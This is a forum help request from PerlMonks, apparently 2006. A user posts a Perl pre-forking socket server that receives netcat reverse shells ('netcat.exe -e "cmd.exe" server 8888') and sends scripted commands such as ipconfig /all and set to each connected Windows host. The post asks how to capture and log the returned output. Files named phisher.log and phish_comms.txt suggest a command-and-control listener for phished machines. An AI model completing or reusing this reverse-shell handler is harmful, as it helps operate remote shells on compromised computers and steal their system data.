I have a script that is 99% there, but I am stuck at trying to get output from the client the way I want. What I see right now is this (this is one connection using telnet 'telnet localhost 8888', and one using a netcat listener with the syntax 'netcat.exe -e "cmd.exe" server 8888'):
$ perl pre-forker2.pl -p 8888 Server pre-forker2.pl listening on port "8888" and logging to file "ph +isher.log" on Tue Jan 17 11:59:59 2006 [Connect from localhost] microsoft quit [Connect from DARKMAN] Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. E:\>ipconfig /all
Basically, what I eventually want to do is send commands to a netcat listener that has connected to me, and capture all it's output. Here is my sub for the client accept piece:

sub make_new_child { my $pid; my $sigset; # block signal for fork $sigset = POSIX::SigSet->new(SIGINT); sigprocmask(SIG_BLOCK, $sigset) or die "Can't block SIGINT for fork: $!\n"; die "fork: $!" unless defined ($pid = fork); if ($pid) { # Parent records the child's birth and returns. sigprocmask(SIG_UNBLOCK, $sigset) or die "Can't unblock SIGINT for fork: $!\n"; $children{$pid} = 1; $children++; return; } else { # Child can *not* return from this subroutine. $SIG{INT} = 'DEFAULT'; # make SIGINT kill us as it did befor +e # unblock signals sigprocmask(SIG_UNBLOCK, $sigset) or die "Can't unblock SIGINT for fork: $!\n"; # handle connections until we've reached $MAX_CLIENTS_PER_CHIL +D for (my $i=0; $i < $MAX_CLIENTS_PER_CHILD; $i++) { my $client = $server->accept(); # Set up vars for commands, and make sure the # @commands array is empty to start my @commands = (); my $command; # import commands we want to execute on remote client open( CMDFH,"<phish_comms.txt"); @commands = <CMDFH>; close CMDFH; chomp @commands; $client->autoflush(1); my $hostinfo = gethostbyaddr($client->peeraddr); printf "[Connect from %s]\n", $hostinfo->name || $client->pe +erhost; while ( <$client> ) { next unless /\S/; # blank line if (/quit|exit/i) { last; } elsif (/test/i) { print $client "Test yourself..\ +n"; } elsif (/microsoft/i) { ## print list of commands to cl +ient foreach $command(@commands) { print $client "$command\015\012"; } } else { last; }; } continue { } close $client; }


I tried various things like a "print" statment at the beginning of the sub, and additional "while" statements after each command was sent, but when I telnet to it or sniff the connections, I see all three commands I'm pushing (ipconfig /all, set, exit; you can just put them in a txt file called "phish_cmds.txt" in the dir where you are executing this script. With some of the stuff I have tried I can see the output of 'ipconfig' when I sniff the connectdion, but it stops there, and doesn't continue to the "set" and the "exit" like it's waiting for a carriage return or something. As is, all I see is the client echo back the "ipconfig /all" statement with no output from the command itself. This code is straight out of the example from the perlipc docs with minor mods for my purposes.

Next thing I'm going for is how to get it to log all this stuff to a file. I have been reading up on the file access section of the cookbook, but I'm not yet sure what I want to do so I don't get the output from one connection mixed in with another.

If I need to post the whole script, just let me know. I am posting just the sub for brevity.

Thank you in advance.

In reply to IO::Socket Bi-directional comm by carric

Title:
Use:  <p> text here (a paragraph) </p>
and:  <code> code here </code>
to format your post, it's "PerlMonks-approved HTML":



  • Posts are HTML formatted. Put <p> </p> tags around your paragraphs. Put <code> </code> tags around your code and data!
  • Titles consisting of a single word are discouraged, and in most cases are disallowed outright.
  • Read Where should I post X? if you're not absolutely sure you're posting in the right place.
  • Please read these before you post! —
  • Posts may use any of the Perl Monks Approved HTML tags:
    a, abbr, b, big, blockquote, br, caption, center, col, colgroup, dd, del, details, div, dl, dt, em, font, h1, h2, h3, h4, h5, h6, hr, i, ins, li, ol, p, pre, readmore, small, span, spoiler, strike, strong, sub, summary, sup, table, tbody, td, tfoot, th, thead, tr, tt, u, ul, wbr
  • You may need to use entities for some characters, as follows. (Exception: Within code tags, you can put the characters literally.)
            For:     Use:
    & &amp;
    < &lt;
    > &gt;
    [ &#91;
    ] &#93;
  • Link using PerlMonks shortcuts! What shortcuts can I use for linking?
  • See Writeup Formatting Tips and other pages linked from there for more info.